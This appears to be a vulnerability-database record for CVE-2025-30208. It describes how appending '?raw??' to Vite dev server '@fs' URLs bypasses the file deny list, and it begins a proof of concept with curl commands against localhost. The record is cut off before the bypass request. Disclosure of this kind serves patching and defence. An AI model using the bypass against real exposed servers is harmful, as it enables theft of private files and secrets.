{"id":"CVE-2025-30208","aliases":["GHSA-x574-m823-4x7w"],"url":"https://o3.security/vulnerability/CVE-2025-30208","summary":"Vite bypasses server.fs.deny when using `?raw??`","details":"### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\nOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes.\n\n### PoC\n```bash\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n \n
